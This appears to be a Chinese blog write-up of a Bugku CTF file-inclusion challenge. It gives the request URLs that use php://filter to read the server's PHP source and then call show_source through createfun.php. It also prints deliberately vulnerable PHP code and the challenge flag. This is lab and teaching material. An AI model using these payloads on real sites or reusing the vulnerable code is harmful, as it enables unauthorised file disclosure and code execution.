Bugku NUAACTF 2020 command-injection

前置知识

网络安全 文件包含漏洞-CSDN博客

解题过程

打开靶场、进行信息收集

在源码中发现include文件,直接访问,自动添加了URL参数file

复制代码
/include.php?file=index

并且自动补齐了index参数,页面也跟初始页面相同,很明显是文件包含漏洞

直接尝试php伪协议读取下已知的源码,根据自动补齐的index参数,可以猜测后端是自动补齐.php,读取index.php:

复制代码
/include.php?file=php://filter/read=convert.base64-encode/resource=index

<?php
	print <<<EOT
	<html>
	<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	</head>
	<body>
	<!--include.php-->
	<img src="img.jpg"  alt="嘉木天下第一" />
	</body>
	</html>
EOT;
?>

读取include.php:

复制代码
/include.php?file=php://filter/read=convert.base64-encode/resource=include

<?php  error_reporting(0);
@$file = $_GET["file"];
if(isset($file)) {
	if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) {
		echo "<p> error! </p>";
	} else {
		include($file.'.php');
		setcookie("tips","createfun.php");
	}
} else {
	header('Location:include.php?file=index');
}
?>

可以看到include.php过滤了敏感字符,我们无法直接读取flag

并且我们又看到另一个文件createfun.php,继续读取该文件:

复制代码
/include.php?file=php://filter/read=convert.base64-encode/resource=createfun

<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func($arg,'');}

分析源码,获取两个参数,一个作为函数名,一个作为函数参数,然后会执行函数。

需要注意这个函数有两个参数,后面被自动设置为空,这里很多函数可以用,这里采用show_source,显示flag.php文件内容,这里flag.php可以通过前面include文件得出,也可以扫文件得到:

复制代码
/createfun.php?func=show_source&arg=flag.php

<?php
$flag="nuaactf{php_IS_thE_best_language}";
?>

总结

一道基础的文件包含漏洞,包含了一些代码审计部分。

相关推荐
兄弟加油,别颓废了。5 小时前
BUUCTF——Basic——BUU LFI COURSE 11
安全·web安全
cramer_50h8 小时前
我的 网络安全资产暴露/攻击面管理系统
安全·web安全
Chengbei118 小时前
Chrome浏览器渗透利器支持原生扫描!JS 端点 + 敏感目录 + 原型污染自动化检测|VulnRadar
javascript·chrome·安全·web安全·网络安全·自动化·系统安全
尤山海11 小时前
深度防御:内容类网站如何有效抵御 SQL 注入与脚本攻击(XSS)
前端·sql·安全·web安全·性能优化·状态模式·xss
一只鹿鹿鹿14 小时前
网络安全风险评估报告如何写?(Word文件)
java·大数据·spring boot·安全·web安全·小程序
Z1eaf_complete14 小时前
OpenSSL 可预测 PRNG 漏洞(CVE-2008-0166)
安全·web安全
小二·15 小时前
HTTPS全链路解析:从证书申请到Nginx配置(含国密SM2实战)|网络安全
nginx·web安全·https
Ho1aAs15 小时前
『OpenClaw安全』CVE-2026-25253:ClawJacked One-Click RCE
安全·web安全·网络安全·ai·智能体·agent安全·openclaw
JTaoX15 小时前
Bugku-web(源代码)
web·writeup·bugku·url编码
志栋智能15 小时前
安全超自动化的四大支柱:检测、分析、响应、恢复
运维·网络·人工智能·安全·web安全·自动化